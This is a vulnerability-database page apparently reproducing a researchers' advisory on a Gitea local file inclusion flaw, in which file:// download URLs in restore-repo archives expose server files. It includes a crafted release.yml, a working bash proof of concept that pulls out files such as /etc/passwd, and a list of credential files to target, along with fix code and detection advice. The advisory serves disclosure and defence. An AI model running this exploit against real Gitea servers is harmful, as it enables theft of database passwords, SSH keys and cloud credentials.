Skip to main content

Gitea EUVDEUVD-2026-58153

| CVE-2026-58420 MEDIUM
External Control of File Name or Path (CWE-73)
2026-07-21 https://github.com/go-gitea/gitea GHSA-5ggr-2f2h-jmvm
4.4
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
Share

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
4.4 MEDIUM
AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
4.4 MEDIUM

Local CLI command requires operator shell access (AV:L, PR:H); no complexity barriers once access obtained (AC:L); confidentiality-only impact with no write or availability effect (C:H/I:N/A:N).

3.1 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
4.0 AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
CVSS changed
Aug 14, 2026 - 18:22 NVD
4.4 (MEDIUM)
Source Code Evidence Fetched
Jul 21, 2026 - 21:21 vuln.today
Analysis Generated
Jul 21, 2026 - 21:21 vuln.today

DescriptionCVE.org

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers:

  • Isa Can - Eresus Security (https://github.com/isa0-gh)
  • Yigit Ibrahim - Eresus Security (https://github.com/ibrahmsql)

---

Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.

---

Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini - containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.

---

Affected Code

modules/uri/uri.go

func Open(rawURL string) (io.ReadCloser, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, err
    }
    switch u.Scheme {
    case "http", "https":
        resp, err := http.Get(rawURL)
        ...
    case "file":
        return os.Open(u.Path) // no scheme validation, no path restriction
    }
}

services/migrations/gitea_uploader.go (~line 370)

func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
    for _, rel := range releases {
        for _, asset := range rel.Assets {
            rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
            ...
            // file content saved as release attachment
        }
    }
}

---

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
releases:
  - tag_name: v0.0.1
    assets:
      - name: exfiltrated.txt
        download_url: "file:///etc/passwd"
  1. Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
  2. Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
  -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

---

PoC

> Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)

GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"

1. Create target org and repo via API

curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true

curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
  -H "Authorization: token $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

2. Build malicious archive

TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"

cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
  - tag_name: v0.0.1
    name: test
    body: ""
    draft: false
    prerelease: false
    assets:
      - name: output.txt
        download_url: "file://$TARGET_FILE"
        size: 0
        download_count: 0
YAML

cd "$TMP" && zip -r poc.zip bundles/

3. Trigger restore

gitea restore-repo \
  --zip-path "$TMP/poc.zip" \
  --owner "$OWNER" \
  --repo "$REPO" \
  --units release 2>&1

4. Retrieve exfiltrated content

echo "[*] Fetching exfiltrated content..."
RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')

curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
  -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
  xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"

rm -rf "$TMP"

---

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.

---

Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

parsed, err := url.Parse(asset.DownloadURL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
    log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
    continue
}
rc, err := uri.Open(asset.DownloadURL)
Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.

---

Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

---

Isa Can Security Researcher - Eresus Security https://github.com/isa0-gh

Yigit Ibrahim Security Researcher - Eresus Security https://github.com/ibrahmsql

AnalysisAI

Local file inclusion in Gitea's restore-repo CLI command allows operator-level attackers to exfiltrate arbitrary server-side files by embedding file:// URIs in release attachment DownloadURL fields within a crafted restore archive. Affected across all releases through v1.22.x (and unpatched master builds), with a fixed version available at 1.27.0. A working proof-of-concept was published by the reporting researchers; no active exploitation has been confirmed by CISA KEV, but successful exploitation yields direct access to high-value secrets including database credentials, SSH private keys, TLS certificates, and cloud provider tokens stored on the Gitea host.

Technical ContextAI

The root cause is CWE-73 (External Control of File Name or Path). The utility function uri.Open() in modules/uri/uri.go was designed to serve both remote (http/https) and local (file://) resources for internal migration workflows. Its file:// branch directly calls os.Open(u.Path) with no path restrictions. This function is also called from services/migrations/gitea_uploader.go in CreateReleases(), where asset.DownloadURL is sourced verbatim from user-controlled archive content (release.yml) with no scheme allowlist at the call site. Because the file:// path is thus reachable from attacker-supplied YAML, any file readable by the OS user running the Gitea process can be silently read and stored as a release attachment. The affected package is identified as pkg:go/gitea.dev.

RemediationAI

Upgrade to Gitea 1.27.0 or later, which is the confirmed fixed release per the pkg:go/gitea.dev vulnerability record. The upstream fix adds scheme validation in services/migrations/gitea_uploader.go, rejecting any DownloadURL that is not http or https before passing it to uri.Open(), eliminating the file:// code path from user-controlled input. Details are available at https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm. Until patching is feasible, restrict restore-repo execution strictly to a minimal set of fully trusted operators and document any instances of its use. Pre-scan restoration archives manually or with a script (e.g., grep -i 'file://' release.yml) to detect file:// URIs before executing restore operations - note this adds operational friction. Audit existing release attachments for unexpectedly named files (e.g., output.txt, exfiltrated.txt, passwd) that may indicate prior exploitation. Consider restricting Gitea process OS user permissions to the minimum required directories to limit the blast radius of any file reads.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

EUVD-2026-58153 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy